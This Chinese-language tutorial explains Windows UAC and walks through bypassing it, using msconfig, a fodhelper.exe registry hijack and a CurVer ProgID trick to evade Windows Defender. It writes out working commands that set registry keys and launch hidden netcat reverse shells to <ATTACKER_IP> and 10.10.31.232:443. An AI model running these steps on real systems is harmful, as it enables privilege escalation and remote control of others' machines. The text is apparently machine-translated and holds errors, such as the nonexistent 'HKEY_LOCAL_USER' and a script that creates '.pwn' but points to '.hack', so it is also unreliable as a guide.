UAC(用户帐户控制)是一种 Windows 安全功能,默认情况下强制任何新进程以非提升模式运行。任何用户(包括管理员自己)执行的任何进程都必须遵循 UAC 的规则,即“不要信任任何运行该进程的用户”。如果必须执行操作,则必须获得授权。
如果用户想要以提升的权限模式(换句话说具有管理级别权限)运行进程,那么 UAC 将显示一个对话框以确认进程是否被授权运行。每当执行具有管理级别权限的任何应用程序时,大多数人可能都看到过此对话框。
假设用户下载恶意应用程序文件并且用户在管理员组中。如果未启用 UAC,则应用程序可以在未经授权的情况下轻松地以管理权限运行。
UAC 遵循称为强制完整性控制 (MIC)的机制,其中为每个用户、进程和资源提供完整性级别 (IL),更像是具有不同访问级别的访问卡。这里我们称之为访问令牌,范围从低到高。具有更高 IL 的用户可以访问具有相同或更低 IL 级别的资源。
UAC 中的设置
UAC 提供了不同级别的通知类型:
始终通知:每当要执行提升的权限时,用户都会收到通知。
仅当应用程序尝试更改我的计算机时通知我:当用户执行的程序需要提升权限时,不会通知用户。
仅当应用程序尝试对我的计算机进行更改时通知我(不要使我的桌面变暗):它类似于上述设置,但不会使桌面变暗。
从不通知:不会提示用户对计算机所做的任何更改。
好吧,有很多技巧可以根据场景绕过 UAC。
概括
基于 GUI 的绕过
使用 Fodhelper 绕过
绕过 Windows Defender
基于 GUI 的绕过:
这是绕过 UAC 而不反映现实世界场景的基本且简单的方法。
msconfig 的故事
让我们来看一个场景,管理员执行了一个进程 msconfig。由于自动提升允许某些二进制文件以提升的权限运行而无需用户交互,因此没有为其提供 UAC 提示。
开始运行并键入“msconfig”以打开系统配置。
让我们启动我们的Process Hacker工具,它有助于监控和管理流程。我们可以看到在 hacker 进程中,msconfig以高 IL进程运行。
如果我们能够从 msconfig 生成一个 shell,那么我们将能够继承与 msconfig 相同级别的令牌,即高 IL 令牌。我们去工具选项卡。单击命令提示符并启动它。
优点:
实施这种攻击既简单又基本
缺点:
环境仅限于GUI是不可能的。
在此场景中,我们将查看 fodhelper.exe,这是一个 Windows 默认可执行文件,需要用于管理可选 Windows 功能、其他语言等。它也是一个自动可执行程序。这意味着 UAC 不会提示管理员执行提升的任务。与上面使用msconfig的情况不同,如果对GUI有限制,我们就可以执行。
开始运行并键入“fodhelper.exe”以打开 Fodhelper。
当我们打开fodhelper.exe时,W i ndows 会检查注册表项和值以准确知道使用哪个应用程序 打开它。
例如,假设我们正在打开一个 html 文件。Windows 将转到注册表 > HKEY_CLASSES_ROOT 以检查必须使用哪个客户端应用程序才能打开它。该命令在“shell\open\command”子项(即 iexplore.exe)中定义。
然后,我们可以更改注册表中“HKCU\Software\Classes\ ms-settings \Shell\Open\command”中名为“ DelegateExecute ”的值的数据,以便 fodhelper 替换为我们自己的脚本以获得反向 shell。假设攻击者设法攻击机器并获得管理员级别的帐户,但如果 UAC 限制执行提升的执行。
C:\> set SHELL="powershell -windowstyle hidden C:\Tools\nc64.exe <ATTACKER_IP> 443"
我们可以创建一个恶意脚本来向攻击者机器提供反向 shell,并将其存储在环境变量中。
C:\> reg add“HKCU\Software\Classes\ms-settings\Shell\Open\command” /v "DelegateExecute" /d "" /f
在注册表项“HKCU\Software\Classes\ms-settings\Shell\Open\command”中创建一个名为“DelegateExecute”的空值。
这样系统范围的关联就可以在 HKLU (HKEY_LOCAL_USER) 上使用,而不是基于 HKCU (HKEY_CURRENT_USER) 的用户特定关联。换句话说
C:\> reg add %REG_KEY% /d %SHELL% /f
我们可以通过在 Windows 中运行“注册表编辑器”来检查“HKCU\Software\Classes\ ms-settings \Shell\Open\command”中的键值是否 已更新。
最后,将 shell 代码值添加到注册表项。转到攻击者的机器并打开反向 shell。
在攻击者一方:
从之前的攻击中,我们能够绕过常见的 UAC 缺陷,例如使用应用于某些二进制文件的自动提升功能。通过命令提示符或反向 shell 获取 GUI shell。然而,上述所有攻击都是在windows defender被禁用的情况下进行的。那么,如果我们启用 Windows Defender 并使用 fodhelper 执行相同的攻击,会发生什么情况。
C:\> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
C:\> set CMD=”powershell -windowstyle hidden C: \Tools\nc64.exe -e cmd.exe 10.10.31.232 443"
C:\> reg add %REG_KEY% /v “DelegateExecute” /d “” /f
C:\> reg add %REG_KEY% /d %CMD% /f
C:\> reg add %REG_KEY% /d %CMD% /f
C:\> reg add %REG_KEY% /d %CMD% /f
看起来 Windows Defender 能够将此标记为修改注册表值的恶意活动。
我们可以使用CurVer 。因此CurVer是ProgID中使用的一个值,它指定在Windows 中打开特定文件类型时要使用的应用程序的默认版本。我们所做的是使用我们自己 选择的名称在注册表中创建一个新的 ProgID条目。然后将ms中的CurVer条目- settings的ProgID 指向我们创建的新 ProgID。我们可以通过以下方式使用Power S地狱脚本 V3d。
C:\> $program = "powershell -windowstyle hidden C:\Windows\System32\cmd.exe"
C:\> New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
C:\> Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
C:\> New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
C:\> Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".hack" -Force
C:\> Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
因此,此脚本所做的是创建一个名为“.hack ”的新 progID,然后直接将有效负载与打开此类文件时使用的命令相关联。然后将 ms-settings 的 CurVer 条目指向我们的“.hack ”progID。当 fodhelper 尝试打开 ms-settings 程序时,它将改为指向“.hack ”程序 ID 并使用其相关命令。
我们将在 PowerShell 中执行脚本并在 Kali 中监听 shell。